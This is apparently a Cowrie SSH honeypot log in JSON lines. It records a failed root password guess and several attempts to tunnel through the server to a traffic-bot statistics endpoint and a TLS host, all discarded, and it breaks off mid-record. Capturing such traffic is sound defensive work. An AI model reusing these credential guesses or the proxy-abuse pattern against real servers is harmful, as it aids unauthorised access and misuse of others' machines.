{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:12.768023Z","src_ip":"103.77.175.15","session":"c3b83a0c7a21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:13.033470Z","src_ip":"103.77.175.15","session":"c3b83a0c7a21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"230481","message":"login attempt [root/230481] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:13.824661Z","src_ip":"103.77.175.15","session":"c3b83a0c7a21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:15.093556Z","src_ip":"103.77.175.15","session":"c3b83a0c7a21","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:15.098181Z","session":"e87acff2c8e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:15.137842Z","src_ip":"63.141.242.2","session":"e87acff2c8e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=RFJSUzFnNnQoRCEwbnZDKQ%3D%3DVyBjNG2XDMnQDbTCY7jkqzJGiKM%2BGJBGyjCAxQt7WDi5MwgPBZc0Nv2GAtE0gItsLiJdKf1isGNYzju5Z6KCiDz2JhIFExv6lW8EKUwibTU4c%2Fegx%2BOCTdPvJIzZy9muDfGSBTJQjJAFfOJSK%2FphuBhv5iV4G%2BgNQ48FcdZRFRDOwKagDHC9wFQ8rjL8DQSUZb8Q3OjmtRU7p0MjerVm%2BQwn8aFF320nMa16cWFIApQ0s6oy9x8vnTq0wKYJzLqeRfEKnkwdFoe9%2B3xjLZwBRfWC3C77YE7BRlkiWlxkdv0b9VHhad6YQKH8QbQm8EBssKLpes9BBdUr%2BKuJPUarWfYyTd2fEtFESXrR7oEwW0OK2EISxipq4PyNhblLR51nS0SZZtg2vk2lnu5poxbEPSsMpZdq59sVmsV33%2F%2FF7T81D2Nnpkbnqdy2rnMbX2xfD8ixneYglZhJRmRA8osUp8am%2B5Er%2BqbucwHEvCWFYsIgZqMu840IjPnLon88cnCdgAoOafX5nkbFD2LAdkBFRFS7eHubpwNcBIlBq2huInYUhVlJNBmd0r%2BsFwsIfOvhGcWxEq46GP%2Bh2BdqVm61E1Xw6sl1dOOnUwvAfCespyYdUrKS4%2FruwD3bIKaDiJU6RNujgENSQ9siTpGZgd3mZmuDuswrVJtSU86hNiPCubRE61bmsAN4zxnWxRgi9qqsOwSE%2FDWGOhee%2B%2FK6qasj3jaZtU%2FlLgcUnPXxuIMkQbE3rcF0%2F12WLJe3viFl9kv47jr%2F%2FQvZcNgNF%2BOyfuEITXEsf8Qg%2FfKPNDg0sHg%2BWRFfyRmKJ5Ms9h%2B%2BKTsQBqcdExQmijxB3BqYxiEuTLE9WD7R7P1CXs5%2FEFhvZjqg3ZEWRShbsJt0uvXMd5w7p7gdKPznzMdob7xHSPzRum05xG5gJOh9wqJNdc%2B9N6C8cmmjaHG1UiRkt6ew%2BIBdNWkzaljAfn8484MARsNL5M2msLZtKmhMuF5DCn13lf%2FTQwStRoR%2FsKFKjtLQazgW4Jg6nPqD5SuoBzb7w2JYCU9mjub8awlyElmF6cwwlEtkHr2YxWc53yQC09U%2FY81xAJ6H'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=RFJSUzFnNnQoRCEwbnZDKQ%3D%3DVyBjNG2XDMnQDbTCY7jkqzJGiKM%2BGJBGyjCAxQt7WDi5MwgPBZc0Nv2GAtE0gItsLiJdKf1isGNYzju5Z6KCiDz2JhIFExv6lW8EKUwibTU4c%2Fegx%2BOCTdPvJIzZy9muDfGSBTJQjJAFfOJSK%2FphuBhv5iV4G%2BgNQ48FcdZRFRDOwKagDHC9wFQ8rjL8DQSUZb8Q3OjmtRU7p0MjerVm%2BQwn8aFF320nMa16cWFIApQ0s6oy9x8vnTq0wKYJzLqeRfEKnkwdFoe9%2B3xjLZwBRfWC3C77YE7BRlkiWlxkdv0b9VHhad6YQKH8QbQm8EBssKLpes9BBdUr%2BKuJPUarWfYyTd2fEtFESXrR7oEwW0OK2EISxipq4PyNhblLR51nS0SZZtg2vk2lnu5poxbEPSsMpZdq59sVmsV33%2F%2FF7T81D2Nnpkbnqdy2rnMbX2xfD8ixneYglZhJRmRA8osUp8am%2B5Er%2BqbucwHEvCWFYsIgZqMu840IjPnLon88cnCdgAoOafX5nkbFD2LAdkBFRFS7eHubpwNcBIlBq2huInYUhVlJNBmd0r%2BsFwsIfOvhGcWxEq46GP%2Bh2BdqVm61E1Xw6sl1dOOnUwvAfCespyYdUrKS4%2FruwD3bIKaDiJU6RNujgENSQ9siTpGZgd3mZmuDuswrVJtSU86hNiPCubRE61bmsAN4zxnWxRgi9qqsOwSE%2FDWGOhee%2B%2FK6qasj3jaZtU%2FlLgcUnPXxuIMkQbE3rcF0%2F12WLJe3viFl9kv47jr%2F%2FQvZcNgNF%2BOyfuEITXEsf8Qg%2FfKPNDg0sHg%2BWRFfyRmKJ5Ms9h%2B%2BKTsQBqcdExQmijxB3BqYxiEuTLE9WD7R7P1CXs5%2FEFhvZjqg3ZEWRShbsJt0uvXMd5w7p7gdKPznzMdob7xHSPzRum05xG5gJOh9wqJNdc%2B9N6C8cmmjaHG1UiRkt6ew%2BIBdNWkzaljAfn8484MARsNL5M2msLZtKmhMuF5DCn13lf%2FTQwStRoR%2FsKFKjtLQazgW4Jg6nPqD5SuoBzb7w2JYCU9mjub8awlyElmF6cwwlEtkHr2YxWc53yQC09U%2FY81xAJ6H'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:15.140920Z","src_ip":"63.141.242.2","session":"e87acff2c8e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:16.344825Z","session":"7ed0ea430521","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:16.380380Z","src_ip":"173.208.188.210","session":"7ed0ea430521","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=TFhwfXdVdU8%2BV0wlU3cwOA%3D%3Dd0eUEP45%2F58GKPXtw2Mjz7j3zQI%2BHSKL8XZD%2BDh5Ghhwo%2BLizraOOK0qDCsp%2F1DpeA76e5elfhtVgddEzx4w1D3RPp4Ad2aNOra6BEMSDjfh%2BW78aasYdwaBDlDhZvN9MrcNbM2eVj%2FgXa9ukl7azeQej%2Fh1TdP%2FmKsN0YWhdcMN5%2F8fCUdl4rfyQulw4NXs%2FMlTJbPLRL9xEatU%2B0R5lyN8Op6N8Nd3kggJXfuR5aCs7Uc4oDDLgiMttgYh%2BrOyEhHTDCgkg5voO%2FUo8KEM84nzqWiLH3YotcpgwWKk8SPYfuk%2BW0hzbIaKT2UUBoIWASFDjvPFQcrv3q%2FKWakkN3oIIt7wXfPTejGpt47WyahbC5yNgVqV07xyIGZNRlo3XQfZDkHoZbaBbEHzLB3eR0t1uhAD6%2Fz1XEmbJYfaCAbetJMIq20Bt43dtxc%2Fp6cs5KnHUUNd12aFDVKG2jA1QbX7%2Fm6S8LymmXpcsHumqpXetCYtsrS6B79X7XNsoCtv6Mm%2BtoHQEbn5W%2F%2BiqgLOG%2BoLXn1ZNWtrcJoGSP4c98HgIbX2qwtEuvlNKQZYi2mtBJHeZ1%2BGoRT97C9SQRgm8tO%2BvI4AT5ZILAKrb3YOEVevw8fueHq0hVZHFlU2sgxfsosR5%2FyjvuNRK0WxL6mqu5VutloPUZ0s8CIseKXIDNEXIs70MWHVLLT8JB6t86FwTUunmAR1ZtqbpzKCh8%2BP0G5ZylqF64oO6Bnbr%2Bw3eJRIc10eoDwZRKTea4IQSxviA14tXhgxTAan9x8kOA68ME%2BfqT2VePX4DmsygA12F34Ym9ZzNLvFQbYKBaThwt20CYIpAo0URkmmGVEHgm7hGHjH2JTKKrqAS6J2EeStjuWW7xvjjSQPGbqj8Ci%2BZg9Y%2BEJYC3buyTD9LNuzyV%2B7HmMYVPYs7RULUoTFKWXNoBQrV8FKrXCYITKZqCF8iU30sm6vLd9DFgH3MLpe5TtdduxRzHAN6xMp1T1r95G7JK0D8lAIOtIESVmjPM7yiD7fxbRMYSP1G54XL1flxoK23hpGpinUORk30YDtd98jN%2Bs%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=TFhwfXdVdU8%2BV0wlU3cwOA%3D%3Dd0eUEP45%2F58GKPXtw2Mjz7j3zQI%2BHSKL8XZD%2BDh5Ghhwo%2BLizraOOK0qDCsp%2F1DpeA76e5elfhtVgddEzx4w1D3RPp4Ad2aNOra6BEMSDjfh%2BW78aasYdwaBDlDhZvN9MrcNbM2eVj%2FgXa9ukl7azeQej%2Fh1TdP%2FmKsN0YWhdcMN5%2F8fCUdl4rfyQulw4NXs%2FMlTJbPLRL9xEatU%2B0R5lyN8Op6N8Nd3kggJXfuR5aCs7Uc4oDDLgiMttgYh%2BrOyEhHTDCgkg5voO%2FUo8KEM84nzqWiLH3YotcpgwWKk8SPYfuk%2BW0hzbIaKT2UUBoIWASFDjvPFQcrv3q%2FKWakkN3oIIt7wXfPTejGpt47WyahbC5yNgVqV07xyIGZNRlo3XQfZDkHoZbaBbEHzLB3eR0t1uhAD6%2Fz1XEmbJYfaCAbetJMIq20Bt43dtxc%2Fp6cs5KnHUUNd12aFDVKG2jA1QbX7%2Fm6S8LymmXpcsHumqpXetCYtsrS6B79X7XNsoCtv6Mm%2BtoHQEbn5W%2F%2BiqgLOG%2BoLXn1ZNWtrcJoGSP4c98HgIbX2qwtEuvlNKQZYi2mtBJHeZ1%2BGoRT97C9SQRgm8tO%2BvI4AT5ZILAKrb3YOEVevw8fueHq0hVZHFlU2sgxfsosR5%2FyjvuNRK0WxL6mqu5VutloPUZ0s8CIseKXIDNEXIs70MWHVLLT8JB6t86FwTUunmAR1ZtqbpzKCh8%2BP0G5ZylqF64oO6Bnbr%2Bw3eJRIc10eoDwZRKTea4IQSxviA14tXhgxTAan9x8kOA68ME%2BfqT2VePX4DmsygA12F34Ym9ZzNLvFQbYKBaThwt20CYIpAo0URkmmGVEHgm7hGHjH2JTKKrqAS6J2EeStjuWW7xvjjSQPGbqj8Ci%2BZg9Y%2BEJYC3buyTD9LNuzyV%2B7HmMYVPYs7RULUoTFKWXNoBQrV8FKrXCYITKZqCF8iU30sm6vLd9DFgH3MLpe5TtdduxRzHAN6xMp1T1r95G7JK0D8lAIOtIESVmjPM7yiD7fxbRMYSP1G54XL1flxoK23hpGpinUORk30YDtd98jN%2Bs%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:16.385352Z","src_ip":"173.208.188.210","session":"7ed0ea430521","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:19.147986Z","session":"7ed0ea430521","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:19.237792Z","src_ip":"173.208.188.210","session":"7ed0ea430521","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf1\\xfe%\\xe7\\x17\\xa3\\\\xE\\x10\\x18\\xa3X\\xc1+\\xf5\\\\\\x9b\"F\\xe7f}\\xd7\\x1a\\'\\nE\\x81n\\x90\\xd2 \\x86\\'n@@\\x9d\\xbb\\x8e%\\xe5\\xe2\\xa7\\xf14.j\\xa9\\x823_C\\x01\\xf4\\x82_QB\\x80\\xf4K\\xa8\\x19\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1cZ\\xad\\xbd\\xdcC\\x80R\\x95\\\\~\\xe0:k)\\xfcuK`\\xc4\\xea\\x94\\xc8e/\\xd4\\xdf\\x19\\xb2\\n\\x89b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf1\\xfe%\\xe7\\x17\\xa3\\\\xE\\x10\\x18\\xa3X\\xc1+\\xf5\\\\\\x9b\"F\\xe7f}\\xd7\\x1a\\'\\nE\\x81n\\x90\\xd2 \\x86\\'n@@\\x9d\\xbb\\x8e%\\xe5\\xe2\\xa7\\xf14.j\\xa9\\x823_C\\x01\\xf4\\x82_QB\\x80\\xf4K\\xa8\\x19\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1cZ\\xad\\xbd\\xdcC\\x80R\\x95\\\\~\\xe0:k)\\xfcuK`\\xc4\\xea\\x94\\xc8e/\\xd4\\xdf\\x19\\xb2\\n\\x89b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:19.240712Z","src_ip":"173.208.188.210","session":"7ed0ea430521","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:19.351950Z","session":"7ed0ea430521","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:19.386683Z","src_ip":"173.208.188.210","session":"7ed0ea430521","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x94lpP\\\\\\xfal\\xad\\xf6\\x90\\xe0\\xb3\\xa6\\xde\\xf2\\x9f\\xa1\\t\\x80z\\x1be\\xb6\\xee\\xaab\\xe5\\xed\\xf3\\xfd\\xccb t\\x80\\x91\\x17\\x16\\xb1\\xbdu\\xe5\\x1b\\xfb$\\xb24y-\\x89\\x1c9\\xa7o\\xed`\\x00\\xf9\\x86\\xe7\\xe2\\xe0n\\xeed\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1c&\\xaa\\xb3\\x9be\\x8a,\\xf79k\\x8f\\x13\\xab\\x85\\x8b{\\x1b\\x8bO`y\\xed\\x9e\\x8c\\xd1\\xd5\\xd4XA`B\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x